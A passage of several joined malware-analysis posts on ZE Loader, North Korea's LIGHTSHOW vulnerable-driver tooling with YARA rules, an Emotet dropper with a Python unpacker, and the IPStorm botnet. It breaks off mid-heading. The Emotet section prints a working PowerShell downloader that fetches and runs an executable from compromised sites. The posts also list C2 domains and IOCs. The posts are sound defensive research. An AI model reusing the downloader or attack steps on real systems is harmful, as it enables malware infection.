To trick the victim into believing the app did open, the malware sets up a new window to pop up with app images. It loads and decrypts an image that corresponds to the targeted bank brand from the encrypted images directory: /JDK_SDK.
As part of the attack, the malware presents different pages/images that mimic bank applications in order to trick the victim into entering their credentials into data fields in the image. The attacker uses those to either take the session over on web browsers or access the application remotely through the victim’s device using an RDP connection.
## ZE Loader’s Cryptography
ZE Loader uses a couple of cryptographic algorithms as part of its execution and to hide assets and files. The following are the main findings from our analysis:
- **Decrypt(data, IV_array, IV_size, size)**: This function is responsible for decrypting the different assets of the malware, including DLL files, embedded shellcode, images, etc.
- **Command_or_decrypt(command, encrypted_str, result)**: This function is responsible for the decryption of strings embedded in the sample.
- **Decrypt_image(image_path, decrypted_image, key)**: This function is responsible for decrypting images that the malware keeps locally, hidden in the directory JDK_SDK. The decryption algorithm the malware uses is the BlowFish encryption algorithm with the hard-coded key ‘1’.
## Piecing It Together
The malware keeps encrypted images that mimic its various targets’ websites and designated applications locally in the ‘JDK_SDK’ directory. After decrypting that directory, we were able to access a wide range of targets. On top of popular banks, the malware targets some blockchain platforms and cryptocurrency exchange platforms.
The images also led to insights regarding some of the sophisticated ways the attacker overcomes two-factor authentication challenges in order to steal user credentials. For example, one of the malware’s assets named ‘coin.tlb’ is a file that contains two encrypted strings. After decrypting the strings, we found the two strings below:
- ZE 19/01/2021 — malware version was extracted from the malware configuration settings.
## Remote Overlay Trojans Still Going Strong
While it is a dated threat, remote overlay Trojans are an enduring staple in the cyber crime arena. Prolific in Latin America, they also target European countries where the same languages are spoken, so as to maximize the reach of their attacks. The strength of attacks that leverage this malware type is the remote access to user devices. Adding manual work in real time allows attackers to extract critical transaction elements from their victims and finalize transactions that are otherwise adequately protected.
While it lacks sophistication on the code level, its overall scheme continues to work. To mitigate the risk of remote overlay Trojans, here are some things users can do:
- Do not open unsolicited emails and don’t click links or attachments inside such messages.
- Do not log in to bank accounts from an email that appears to urge action.
- When in doubt, call your bank.
- Have an antivirus installed on your device and turn on automatic updates.
- Keep your operating system and all programs up to date.
- Delete applications that are not in use.
- Disable remote connections to your device.
## IOCs
- 5bf9e6e94461ac63a5d4ce239d913f69 – DVDSetting.dll
- 8803df5c4087add10f829b069353f5b7 – operationB
- 520170d2edfd2bd5c3cf26e48e8c9c71 – procSettings
- 39aa9dadd3fc2842f0f2fdcea80a94c7 – Host.hst
- 25e60452fa27f01dc81c582a1cbec83f – IsCon.tlb
- 4280f455cf4d4e855234fac79d5ffda0 – JDK_SDK.zip
### C2 Server
controllefinaceiro2021[.]duckdns[.]org
Nir Somech
Malware Researcher – Trusteer IBM
Nir Somech is an engineer working as part of IBM X-Force research. He specializes in researching attacks targeting the financial threat landscape. |
# Stealing the LIGHTSHOW (Part Two) — LIGHTSHIFT and LIGHTSHOW
In part one on North Korea's UNC2970, we covered UNC2970’s tactics, techniques and procedures (TTPs) and tooling that they used over the course of multiple intrusions. In this installment, we will focus on how UNC2970 utilized Bring Your Own Vulnerable Device (BYOVD) to further enable their operations.
During our investigation, Mandiant consultants identified most of the original compromised hosts targeted by UNC2970 contained the files `%temp%\<random>_SB_SMBUS_SDK.dll` and suspicious drivers, created around the same time on disk. At the time Mandiant initially identified these files, we were unable to determine how they were dropped or the exact use for these files. It wasn't until later in the investigation, during analysis of a forensic image, where the pieces started falling into place. A consultant noticed multiple keyword references to the file `C:\ProgramData\USOShared\Share.DAT` (MD5: def6f91614cb47888f03658b28a1bda6). Upon initial glance at the forensic image, this file was no longer on disk. However, Mandiant was able to recover the original file, and the initial analysis of the sample found that Share.DAT was a XORed data blob, which was encoded with the XOR key `0x59`.
The decoded payload (MD5: 9176f177bd88686c6beb29d8bb05f20c), referred to by Mandiant as LIGHTSHIFT, is an in-memory only dropper. The LIGHTSHIFT dropper distributes a payload (MD5: ad452d161782290ad5004b2c9497074f) that Mandiant refers to as LIGHTSHOW. Once loaded into memory, LIGHTSHIFT invokes the exports Create then Close in that order. The response from Close is written as a hex formatted address to the file `C:\Windows\windows.ini`.
LIGHTSHOW is a utility that makes use of two primary anti-analysis techniques used to hinder both dynamic and static analysis. To deter static analysis, LIGHTSHOW was observed being packed by VM-Protect. In an effort to thwart dynamic analysis, LIGHTSHOW is targeted to a specific host and requires a specific SHA256 hash corresponding to a specific computer name or the sample will not fully execute. Once FLARE completed the analysis of LIGHTSHOW, we were able to understand how the files `%temp%\<random>_SB_SMBUS_SDK.dll` and drivers were created on disk.
LIGHTSHOW is a utility that was used by UNC2970 to manipulate kernel data-structures and represents an advancement in DPRK’s capabilities to evade detection. To accomplish this, LIGHTSHOW drops a legitimate version of a driver with known vulnerabilities, with a SHA256 hash of `175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347` to `C:\Windows\System32\Drivers` with one of the following names chosen at random and appended with `mgr`:
- circlass
- dmvsc
- hidir
- isapnp
- umpass
LIGHTSHOW then creates the registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service name>` where `<service name>` is the same as the chosen filename without appended `mgr`. It then creates a registry key with the value name `ImagePath`, which points to the path of the driver. The sample then loads the driver using `NtLoadDriver`. LIGHTSHOW drops and loads a dummy DLL `%temp%\<random>_SB_SMBUS_SDK.dll` to register itself to the driver as a legitimate caller. Using the vulnerable driver, LIGHTSHOW can perform arbitrary read and write operations to kernel memory. LIGHTSHOW uses this read/write primitive to patch different kernel routines, which are related to the type of facilities an Endpoint Detection and Response (EDR) software may use, to enable evasion of said EDR software. After the read and write operations to kernel memory, the sample unloads and deletes `%temp%\<random>_SB_SMBUS_SDK.dll`.
Examining the chain of execution, we see further obfuscation techniques being employed in LIGHTSHOW. UNC2970 has a concerted effort towards obfuscation and employs multiple methods to do this throughout the entire chain of delivery and execution.
LIGHTSHOW is another example of tooling that looks to capitalize on the technique of BYOVD. BYOVD is a technique that utilizes the abuse of legitimate and trusted, but vulnerable drivers, to bypass kernel level protections. This technique has been utilized by adversaries ranging from financial actors, such as UNC3944, to espionage actors like UNC2970, which shows its usefulness during intrusion operations. AHNLab recently released a report on activity tracked as Lazarus Group that focused largely on the use of BYOVD. While Mandiant did not observe the hashes included in the AHNLab report, the use of `SB_SMBUS_SDK.dll` as well as other similarities, such as the exported functions Create and Close, indicate an overlap between the activity detailed in this blog post and those detailed by AHNLab.
Throughout several incidents we responded to in 2022 that involved UNC2970, we observed them utilizing a small set of vulnerable drivers. This includes the Dell DBUtil 2.3 and the ENE Technology device drivers. UNC2970 utilized both of these drivers in an attempt to evade detection. These two drivers, and many more, are found in the Kernel Driver Utility (KDU) toolkit. With this in mind, it is likely that we will continue to see UNC2970 abuse vulnerable drivers from other vendors.
Mandiant has worked to detect and mitigate BYOVD techniques for a number of years and has worked closely with industry allies to report vulnerabilities when discovered. During research being carried out on UNC2970, we discovered a vulnerable driver that the actor had access to, but did not know was vulnerable - essentially making it a 0day in the wild but not being actively exploited. This was verified through our Offensive Task Force who subsequently carried out a notification to the affected organization and reported the vulnerability to MITRE, which was assigned CVE-2022-42455.
## Outlook and Implications
Mandiant continues to observe multiple threat actors utilizing BYOVD during intrusion operations. Because this TTP provides adversaries an effective means to bypass and mitigate EDR, we assess that it will continue to be utilized and adapted into actor tooling. The continued targeting of security researchers by UNC2970 also provides an interesting way that the group can potentially continue to expand their toolset to gain an upper hand with BYOVD.
## Mitigations
Because attestation signing is a legitimate Microsoft program and the resulting drivers are signed with Microsoft certificates, execution-time detection is made much more difficult as most EDR tools and Anti-Viruses will allow binaries signed with Microsoft certificates to load. The recent blog post released by Mandiant on UNC3944 driver operations details multiple techniques that can be used by organizations to hunt for the abuse of attestation signing. If you haven't already, don't forget to read part one on North Korea's UNC2970. Additionally, Microsoft recently released a report detailing how organizations can harden their environment against potentially vulnerable third-party developed drivers.
## Indicators of Compromise
| MD5 | Signature |
| --- | --- |
| def6f91614cb47888f03658b28a1bda6 | XOR’d LIGHTSHIFT |
| 9176f177bd88686c6beb29d8bb05f20c | LIGHTSHIFT |
| ad452d161782290ad5004b2c9497074f | LIGHTSHOW |
| 7e6e2ed880c7ab115fca68136051f9ce | ENE Driver |
| SB_SMBUS_SDK.dll | LIGHTSHOW Dummy DLL |
| C:\Windows\windows.ini | LIGHTSHIFT Output |
## Signatures
### LIGHTSHIFT
```plaintext
rule M_Code_LIGHTSHIFT {
meta:
author = "Mandiant"
description = "Hunting rule for LIGHTSHIFT"
sha256 = "ce501fd5c96223fb17d3fed0da310ea121ad83c463849059418639d211933aa4"
strings:
$p00_0 = {488b7c24??448d40??48037c24??488bcfff15[4]817c24[5]74??488b4b??33d2}
$p00_1 = {498d7c01??8b47??85c075??496345??85c07e??8b0f41b9}
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
(
($p00_0 in (750..11000) and $p00_1 in (0..8200))
)
}
```
### LIGHTSHOW
```plaintext
rule M_Code_LIGHTSHOW {
meta:
author = "Mandiant"
description = "Hunting rule For LIGHTSHOW."
md5 = "ee5057da3e38b934dae15644c6eb24507fb5a187630c75725075b24a70065452"
strings:
$E01 = { 46 75 64 4d 6f 64 75 6c 65 2e 64 6c 6c }
$I01 = { 62 63 72 79 70 74 2e 64 6c 6c }
$I02 = { 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c }
$I03 = { 75 73 65 72 33 32 2e 64 6c 6c 00 }
$H1 = { 4D 5A 90 00 }
$H2 = { 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F }
$F01 = { 47 65 74 4d 6f 64 75 6c 65 46 69 6c 65 4e 61 6d 65 57 }
$F02 = { 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 }
$F03 = { 47 65 74 46 69 6c 65 54 79 70 65 }
$F04 = { 47 65 74 56 65 72 73 69 6f 6e }
$F05 = { 51 75 65 72 79 53 65 72 76 69 63 65 53 74 61 74 75 73 }
$F06 = { 42 43 72 79 70 74 4f 70 65 6e 41 6c 67 6f 72 69 74 68 6d 50 72 6f 76 69 64 65 72 }
$M01 = { 68 2d 79 6e b1 }
$M02 = { 68 ea 71 c2 55 }
$M03 = { 66 b8 ad eb }
$M04 = { 4c 8d 2c 6d b3 6c 05 39 }
$M05 = { 48 8d 2c 95 08 9d ec 9a }
$S01 = { 48 8d 0c f5 a3 cd 0a eb }
$S02 = { 81 f9 7f 56 e6 0a }
condition:
($H1 in (0..2048)) and ($H2 in (0..2048)) and filesize < 100MB and
filesize > 5KB and all of ($M0*) and all of ($E*) and all of ($I0*) and 6 of
($F0*) and all of ($S0*)
}
``` |
# Analyzing an Emotet Dropper and Writing a Python Script to Statically Unpack Payload
In this blog post, we will analyze an Emotet dropper. The sample used in this post is available on any.run. Details of the sample are:
- **MD5**: b92021ca10aed3046fc3be5ac1c2a094
- **Filename**: emotet.doc
- **File Type**: DOCX
When you open the file in MS Word, you will be greeted with a social engineering message asking you to enable the Macros.
Let’s extract the Macros. There are multiple tools that can accomplish this, but my favorite one is `olevba`. The extracted Macro is uploaded on gist. Macro code is heavily obfuscated. However, there are some lines that stand out. (Line numbers are the same as the code on gist.)
```vb
GS0LWK = zqzYlm3 + ThisDocument.McQHX3.Caption + ThisDocument.PWo3kW.Caption + ThisDocument.psYO9m.Caption + UR1S3b
RcTkkOqw = CreateObject(Replace("winmgmts:Win32_Process", " ", "")).Create(GS0LWK + IEHlwRq, W8KjQY, u0rrBWd, l78zbRfV)
```
At line 62, it prepares a string `GS0LWK`, and then uses it as a parameter to `winmgmts:Win32_Process.Create` on line 88, which is used to create a new process. `GS0LWK` will be the command-line of the new process. Now we can set up a breakpoint on line 88 and debug the Macro to see what process is being created.
The figure above shows it will create a PowerShell Process with Base64 encoded code. We can copy the command line from variable `GS0WLK`, or using any process manager such as `procexp` or Process Hacker.
So, the Macro will create the following PowerShell process:
```powershell
powershell -enc JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnAD
```
After Base64 decoding, the code looks like this:
```powershell
$jrFhA0='Wf1rHz';$uUMMLI='284';$iBtj49N='ThMqW8s0';$FwcAJs6=$env:userprofile+'\'+$uUMMLI+'.exe';$S9GzRstM='EFCw('n'+'ew'+'-object') NeT.wEBClIEnt;$pLjBqINE='http://blockchainjoblist.com/wp-admin/014080/@https://womenempowermentpakistan.com/wp-admin/paba5q52/@https://atnimanvilla.com/wp-content/073735/@https://yeuquynhnhai.com/upload/41830/@https://deepikarai.com/js/4bzs6('@');$l4sJloGw='zISjEmiP';foreach($V3hEPMMZ in $pLjBqINE){try{$u8UAr3."DOw`N`lOaDfi`Le"($V3hEPMMZ, $FwcAJs6);$IvHHwRib='s5Ts_iP8';If ((&('G'+'e'+'t-Item') $FwcAJs6)."LeN`gTh" -ge 23931) {[Diagnostics.Process]::"ST`ArT"($FwcAJs6);$zDNs8wi='F3Wwo0';break;$TTJptXB='ijlWhCzP'}}catch{}}$vZzi_uAp='aEBtpj4'
```
The de-obfuscated PowerShell code would look like this:
```powershell
$jrFhA0='Wf1rHz'
$uUMMLI='284'
$iBtj49N='ThMqW8s0'
$FwcAJs6=$env:userprofile+'\'+$uUMMLI+'.exe'
$S9GzRstM='EFCwnlGz'
$u8UAr3=&('new-object') NeT.wEBClIEnt
$pLjBqINE='http[:]//blockchainjoblist[.]com/wp-admin/014080/@https[:]//womenempowermentpakistan[.]com/wp-admin/paba5q52/@https[:]//atnimanvilla[.]com/wp-content/073735/@https[:]//yeuquynhnhai[.]com/upload/41830/@https[:]//deepikarai[.]com/js/4bzs6/'."sPLiT"('@')
$l4sJloGw='zISjEmiP'
foreach($V3hEPMMZ in $pLjBqINE) {
try {
$u8UAr3."DOwNlOaDfiLe"($V3hEPMMZ, $FwcAJs6)
$IvHHwRib='s5Ts_iP8'
If ((&('Get-Item') $FwcAJs6)."LeNgTh" -ge 23931) {
[Diagnostics.Process]::"STArT"($FwcAJs6)
$zDNs8wi='F3Wwo0'
break
$TTJptXB='ijlWhCzP'
}
} catch {}
}
$vZzi_uAp='aEBtpj4'
```
This shellcode will download an executable from one of the URLs in the array `$pLjBqINE`, save it to the path `%UserProfile%\284.exe`, check if its size is greater than or equal to 23931 bytes, and execute it.
## Analysis of Second Stage Exe (284.exe)
284.exe can be downloaded from any.run. Let’s see if it is packed with any known packer. Exeinfo PE is unable to find any known packer. However, Detect it easy finds that it is an MFC application with high entropy and status packed. Most likely, it is packed with a custom MFC Packer.
When I open the file in IDA-PRO and look at the imports, it is filled with junk imports. So, yup, the Exe is packed.
Usually, to further analyze these types of files, either I run them in a sandbox or run them with a tracer tool, such as tiny_tracer, and look for interesting API calls. When I run the 284.exe with tiny_tracer, at the end of the API log file, I see an interesting API call sequence. It seems like it is loading some resource, decrypting it, allocating new space to copy the decrypted code, and then executing it. Set a breakpoint on FindResourceA in a debugger, execute it till return, and it will land you in this unpacking function. You can use ida_fl plugin to load .tag file in IDA Pro.
### Unpacking Function Analysis
It will load the `KITTKOF` resource in memory. The resource hacker shows `KITKOFF` resource. It seems to be encrypted. Then the packer will decode the shellcode from Base64 + RC4 encrypted string that will in turn decrypt the resource.
The RC4 algorithm, shown as `CustomRC4`, it uses to decrypt is slightly modified from the standard version. It uses `N=0x1E1`, instead of the standard `N=0x100`.
Then the malware calls the shellcode twice and passes Resource Size, Pointer to loaded resource data, an integer, and string as parameters. Nothing happens in the first call. However, the second call decrypts the resource.
### Analysis Of Shellcode
Like any other shellcode, at first, it resolves the `LoadLibraryA` and `GetProcAddress` using API hashes. Then it prepares the following WINAPI strings on the stack, and dynamically resolves them:
- `CryptAcquireContextA`
- `CryptImportKey`
- `CryptEncrypt`
An example is shown below. The shellcode then prepares two `PUBLICKEYSTRUC` key blobs on the stack, one for RSA with `ALG_ID` of `CALG_RSA_KEYX(0x0000a400)` and the other for RC4 with `ALG_ID` of `CALG_RC4 (0x00006801)`. The shellcode imports both of these key blobs using `CryptImportKey`. However, it only updates the key in RC4 one, and uses that to decrypt resource data. The corresponding API call is shown below. We can analyze the `pbData` parameter, which is of type `PUBLICKEYSTRUC` to find the key used.
`pbData` data is shown below with key highlighted. If notice, this key was passed as the first parameter while calling the shellcode. Finally, the shellcode calls `CryptEncrypt` and decrypts the Resource data. The decrypted data is shown below. That is another layer of shellcode.
If you scroll down a little, you will find a PE file is also present in decrypted data.
I have analyzed the next layer of shellcode; it just reflectively loads the embedded PE file. So we can dump decrypted resource data and carve out PE files using Exeinfo-PE or some other tools. Exeinfo PE extracted two files:
1. DLL (bf3af6a558366d3927bfe5a9b471d56a1387b4927a418c428fc3452721b5c757)
2. Exe (f96d6bbf4b0da81c688423f2e1fc3df4b4ef970f91cfd6230a5c5f45bb7e41bd)
Both of these files are already detected by existing open source Emotet Yara sigs. So we have reached the final payload of Emotet.
## Writing a Python Script to Unpack Malware Statically
We can write a Python script to unpack `284.exe` statically by:
- Extracting binary data from resource with name `KITTOFF`
- RC4 decrypting it using key `"?UPLkTcdjlHrhAW\x00"`
- Carving out PE files from the decrypted binary data stream.
The code is pretty self-explanatory. If you have any questions, please let me know in comments.
```python
#!/usr/bin/env python3
# Name:
# unpack_emotet.py
# Description:
# This script accompanies my blog and can be used to statically unpack given sample in the blog
# Author:
import pefile
from Crypto.Cipher import ARC4
import re
# if you like, you can use commandline args for these arguments
EXE_PATH = "C:\\Users\\user\\Downloads\\tmp\\284.bin"
RC4_KEY = b"?UPLkTcdjlHrhAW\x00"
RESOURCE_NAME = "KITTKOF"
def get_resource_data(path_to_exe, resource_name):
"""Given a resource name extracts binary data for it"""
pe = pefile.PE(path_to_exe)
for rsrc in pe.DIRECTORY_ENTRY_RESOURCE.entries:
if str(rsrc.name) == resource_name:
print("Found the resource with name KITTOFF")
# Get IMAGE_RESOURCE_DATA_ENTRY for resource and extract data
data_struc = rsrc.directory.entries[0].directory.entries[0].data.struct
data_size = data_struc.Size
data_offset = data_struc.OffsetToData
print(f"Resource Size: {hex(data_size)}, Resource Offset:{hex(data_offset)}")
rsrc_data = pe.get_memory_mapped_image()[data_offset: data_offset + data_size]
return rsrc_data
raise ValueError(f"Unable to find resource with name: {resource_name}")
def rc4_decrypt_data(enc_data, key):
"""RC4 decrypts the encrypted data"""
cipher = ARC4.new(RC4_KEY)
dec_data = cipher.decrypt(enc_data)
return dec_data
def get_extension(pe):
"""returns ext of the file type using pefile"""
if pe.is_dll():
return ".dll_"
if pe.is_driver():
return ".sys_"
if pe.is_exe():
return ".exe_"
else:
return ".bin_"
def write_pe_file_disk(pe, c):
"""Writes a PE file to disk"""
trimmed_pe = pe.trim()
pe_name = str(c) + get_extension(pe)
out = open(pe_name, "wb")
out.write(trimmed_pe)
out.close()
print(f"PE file: {pe_name} written to disk")
def carve_pe_file(data_stream):
"""carve out pe file from binary data stream"""
c = 1
for y in [tmp.start() for tmp in re.finditer(b"\x4d\x5a", data_stream)]:
location = y
try:
pe = pefile.PE(data=data_stream[y:])
except:
print(f"MZ header found at {hex(y)} but failed to parse it as PE")
continue
print(f"Found PE at offset: {hex(y)}")
write_pe_file_disk(pe, c)
if __name__ == '__main__':
rsrc_data = get_resource_data(EXE_PATH, RESOURCE_NAME)
dec_data = rc4_decrypt_data(rsrc_data, RC4_KEY)
carve_pe_file(dec_data)
``` |
# Looking Into the Eye of the Interplanetary Storm
## Executive Summary
Bitdefender researchers have found clues that the Interplanetary Storm Golang botnet could be used as a highly anonymous proxy-network-as-a-service and potentially rented using a subscription-based model. The overwhelming majority have Android as their operating system and about 1% Linux. However, a very small number of devices have Windows as their OS, but they seem to be running older versions of the malware. In its new iteration, IPStorm propagates by attacking Unix-based systems (Linux, Android, and Darwin) that run Internet-facing SSH servers with weak credentials or unsecured ADB servers.
While previous research from security researchers has focused on analyzing some of the capabilities of the malware and its network traffic, Bitdefender researchers have provided the full picture as well as focused on finding leads regarding the malware developers’ identity and the potential purpose of the infrastructure.
Interplanetary Storm also has a complex and modular infrastructure designed to seek out and compromise new targets, push and synchronize new versions of the malware, run arbitrary commands on the infected machine, and communicate with a C2 server that exposes a web API.
This article offers a glimpse into the inner workings of the Interplanetary Storm botnet, provides an exhaustive technical analysis of the Golang-written binaries along with an overview of the protocol internals, and finally, some attribution information.
## Key findings
- Botnet potentially rented as an anonymous proxy network
- Built to use compromised devices as proxies
- Botnet mapping reveals global presence
- Rented using multi-tier subscription-based pricing model
- More than 100 code revisions to date
- Detailed analysis of the infrastructure behind the Interplanetary Storm botnet
## Introduction
This article offers a glimpse into the inner workings of the Interplanetary Storm botnet, provides an exhaustive technical analysis of the Golang-written binaries along with an overview of the protocol internals, and finally, some attribution information. Interplanetary Storm (IPStorm) was first reported by researchers from Anomali in June 2019. In May 2020, we discovered a new campaign of this botnet when it attacked our SSH honeypots. The malware has been in continuous development since then, integrating new features and seeking to blend in with innocuous traffic.
In its new iteration, IPStorm propagates by attacking Unix-based systems (Linux, Android, and Darwin) that run Internet-facing SSH servers with weak credentials or unsecured ADB servers. Its capabilities include backdooring the device (running shell commands) and generating malicious traffic (scanning the Internet and infecting other devices). We have determined that the main purpose of the botnet is turning infected devices into proxies as part of a for-profit scheme.
## Overview
The last two years have seen an increase in malware written in Golang, and Linux botnets make no exception. Emptiness, Liquorbot, Kaiji, and Fritzfrog are all examples of Golang bots that target Linux machines using SSH as an attack vector. Multiple features of this language make it desirable for malware authors: portability and the rich codebase being the foremost.
Some of these malware families follow the model of “traditional” Linux botnets, rewriting them in Go, while others have original design. IPStorm belongs in the latter category, as its core functionality is written from scratch. It integrates open-source implementations of various protocols, such as NTP, UPNP, and SOCKS5, and bases its peer-to-peer protocol on libp2p. The libp2p library contains a networking stack through which users can interact with the Interplanetary Filesystem (IPFS).
Compared to other Golang malware we have analyzed in the past, IPStorm is remarkable in its complex design due to the interplay of its modules and the way it makes use of libp2p’s constructs. It is clear that the threat actor behind the botnet is proficient in Golang; one consequence of the malware author’s good coding practices, namely their thoroughness in error handling, is that it makes the reverse engineering process easier, as many code sequences are accompanied by relevant logging strings.
The entire functionality of the bot is bundled into a statically linked binary that is packed with UPX. The large size of the binaries - about 7.7M packed and 18M unpacked - is due to the inclusion of the Golang runtime. Although the binaries have been stripped, the debugging information persists in the .gopclntab section of the binaries. This allows us to recover the name of the functions and packages and structure of types.
Each IPStorm version is cross-compiled for multiple CPU architectures and platforms, encompassing the following:
- storm_android-386
- storm_android-amd64
- storm_android-arm7
- storm_android-arm64
- storm_linux-386
- storm_linux-amd64
- storm_linux-arm7
- storm_linux-arm64
- storm_darwin-amd64
## Timeline
The evolution of IPStorm can be tracked precisely, as all binaries are versioned using Semantic Versioning. It can be split into three phases:
- Major 0, Minor 0: reported by Anomali last year; targeted Windows exclusively
- Major 0, Minor 1: emerged this year (in May 2020); targeted Unix-derived systems
- Major 0, Minor 2: latest evolution (September 2020); transitioned away from the publish-subscribe model
As of the writing of this article, the most recent version is 0.2.05a.
## Bot Lifecycle
The startup code of the bot initializes an IPFS node and launches the goroutines (lightweight threads) dedicated to each of the bot’s sub-modules. It sets the oom_adj score for the malware process to -17, ensuring that it will not be killed if the system runs out of available memory. Then, it ensures that only a single instance of the malware runs on the device by periodically scanning the list of processes for the name storm. Any matching process is killed and its executable removed.
A 2048-bit RSA key pair is generated and stored in a writable path on the filesystem. This key belongs to the IPFS node and uniquely identifies it. The node is instantiated and the bootstrap process is started, making it reachable by other nodes in the IPFS network. The connection to other peers in the botnet is ensured by periodically “announcing” itself and looking for peers that broadcast the same announcement.
An info ticker collects information about the system and publishes this fingerprint on an IPFS pubsub topic. An example of such an entry we retrieved from the info topic is the following (with some information redacted for privacy):
```json
{
"T": 1592892637,
"HostID": "Qmf4[________________redacted________________]",
"Version": "0.1.81a",
"Platform": "linux-arm7",
"SystemInfo": {
"GoOS": "linux",
"Kernel": "Linux",
"Core": "4.19.97-v7+",
"Platform": "unknown",
"OS": "GNU/Linux",
"Hostname": "raspbx",
"CPUs": 4
},
"Uid": "0",
"Gid": "0",
"UserName": "root",
"UserDisplayName": "root",
"UserHomeDir": "/root",
"IsAdmin": true,
"ExecutablePath": "/usr/bin/storm",
"InstallationPath": "/usr/bin/storm",
"ComputerID": "",
"LocalIPs": null,
"ExternalIP": "[redacted]",
"Processes": null
}
```
As information about other peers is not used by bots themselves, we believe that it is collected only for the interest of the bot herders. Fortunately for our research, prior to version 0.1.92a it was also public for anyone knowing the topic ID.
Another periodic goroutine is tasked with performing an update if a new version of the bot is available. In this case, the updated file is written to the filesystem, the persistence of the malware is re-established, and the process is re-launched.
The persistence is handled depending on OS:
- On Linux it uses the open-source daemon package to create a service named storm.
- On Android it remounts the filesystem as read-write and overwrites the /system/bin/install-recovery.sh file.
- On Darwin, no persistence method is implemented.
## P2P Communication
When it comes to communication between peers, IPStorm makes use of multiple mechanisms provided by libp2p over IPFS:
- topics
- content routing (node discovery)
- libp2p protocols
Different approaches are used for messages intended for all nodes (version updates, file checksums, IDs of nodes with special roles) and for messages intended for certain nodes (scanning targets, proxy requests, shell commands).
In the first approach, messages are published on a topic and all nodes subscribe to that topic and process the messages. In the case of the DDB (distributed database), messages published on the topic serve to sync the DB among all nodes. Although the messages may come out of order due to the way they are propagated through the network, the inclusion of a timestamp enables each node to keep only the most recent value for a given key. To ensure that peers can properly coordinate using timestamps, the bot updates its time by querying a random entry from a list of public NTP servers.
The second method applies for example to the scanning module: a central entity issues scanning commands, distributing the targets to bots. This is achieved by connecting to each bot using a protocol particular to IPStorm.
### Topics
Topics are part of libp2p’s implementation of the Publish-Subscribe pattern. The following topics are used by IPStorm:
| Description | Purpose | ID |
|---------------------|---------|----|
| info topic | information about the infected system | C0FAh40EtzpBb145aYUcluKo1UJZ-1bRUGg1WJo3OFzWFEKzbShsWFO-wt95L |
| cmd topic | commands | 6szrvCIvhS8QSTs6nq0I28i77MNO1DVh4pCVBvRYxm-5dGHPsOa8sNCMypcP |
| VPNGate scraper topic | information about VPNGate servers | HyD9c7ZrNrXZqG-M7lVVdOHH5DjmHFz-PBHGk1OdqEpVR-Nn7MXo- |
| DDB topic | messages for the DDB | bDjX7nMdAnqq19uT0rvsK3V7bPN-SNSyd6WCYgnuRSrNkITviS |
Since version 0.2.*, IPStorm has abandoned these topics in favor of a centralized design using the web API module.
### Protocols
libp2p protocols come into play when a peer wants to open a direct connection to another peer. The source dials the destination peer specifying a multiaddress and protocol. The protocol is used to identify which handler is invoked in the destination node, which only accepts connections for the protocols it supports.
IPStorm defines a set of its own protocols:
| Protocol | Module | Purpose |
|----------|--------|---------|
| /sreque/1.0.0 | storm.reque.client | receiving commands from the reque server and sending responses |
| /shsk/1.0.0 | storm.handshake | (obsolete) authenticating other peers |
| /sfst/1.0.0 | storm.filetransfer | sending samples |
| /sbst/1.0.0 | storm.backshell | executing shell commands on the victim’s machine |
| /sbpcp/1.0.0 | storm.proxy | communicating with the proxy backend |
| /sbptp/1.0.0 | storm.proxy | receiving proxy connections |
| /strelayp/1.0.0 | storm.node | authenticating peers used as relays |
### Node Discovery
The content routing interface that libp2p offers can be used for peer discovery. Nodes advertise themselves as providers for certain CIDs (content IDs) and likewise search for providers, locating peer nodes.
This is achieved by working directly with CIDs through the interface offered by go-libp2p-kad-dht (routing.FindProviders). go-libp2p-discovery offers an alternative way, using namespaces which can be converted to CIDs (routing.FindPeers, routing.Advertise).
For each type of discovery used by IPStorm, we list both:
- general peer discovery (provided by all IPStorm nodes):
- Namespace: fmi4kYtTp9789G3sCRgMZVG7D3uKalwtCuWw1j8LSPHQEGVBU5hfbNd
- CID: bafkreidcr6e6zr5zs4rqgzbsl5ewsrm4wfgb3jydpk7ad2gcznudglcdqa
- relay discovery:
- Namespace: relay:8LSPHQEGVBU5hfbNdnHvt3kyR1fYU1
- CID: bafkreigrhwwcynbhu4swhhkd6y6dudznk2wouxilm6sq53u6icinlwyi7q
- backend discovery:
- Namespace: proxybackendH0DHVADBCIKQ4S7YOX4X
- CID: bafkreidu4wapxwcecwvwhov2wb53d7mzmyivzmj5raobuegule4syo3bti
- reque discovery:
- Namespace: requeBOHCHIY2XRMYXI0HCSZA
- CID: bafkreifapjcai3rznlq3we4docfeism3kryfwuyxod7ggzksbyekdhd7f4
- web API discovery:
- Namespace: web-api:kYVhV8KQ0mA0rs9pHXoWpD
- CID: bafkreibzlbmu7weuqzkt4dwfwdqlfu2spnrsg3t3qvveilllbhqv4qowzq
- seeder discovery:
- Namespace: stfadv: + checksum
### Relays
At some point between 0.1.43a and 0.1.51a, IPStorm introduced support for circuit relays. This may have been implemented to improve reachability for nodes that are behind NAT or as an attempt to conceal the management nodes. Shortly after the feature was implemented, most of the management nodes no longer published their IP addresses, using relay circuits instead.
The use of this feature has diminished since version 0.1.85a and most nodes list their external IPs. However, some of the nodes remain hidden behind relays and, in some cases, the relays do not belong to the botnet.
## Modules
The packages included in IPStorm’s version 0.2.05a are:
- main
- storm/backshell
- storm/ddb
- storm/filetransfer
- storm/logging
- storm/malware-guard
- storm/node
- storm/powershell
- storm/proxy
- storm/reque_client
- storm/starter
- storm/statik
- storm/util
- storm/web_api_client
Other packages were included in the past but have been replaced or discontinued:
- storm/avbypass
- storm/bootstrap
- storm/handshake
- storm/identity
- storm/peers_cache
- storm/storm_runtime
- storm/vpngate
In this section, we provide a technical analysis of the modules that encompass its core functionality.
### Malware Guard
This task executes periodically, looking for competing malware. Processes are deemed suspicious if their name, executable path, or command line arguments contain any of the strings from a blacklist. The processes are killed and their executables are removed. The blacklisted strings are:
- /data/local/tmp
- rig
- xig
- debug
- trinity
- xchecker
- zpyinstall
- startio
- startapp
- synctool
- ioservice
- start_
- com.ufo.miner
### Backshell
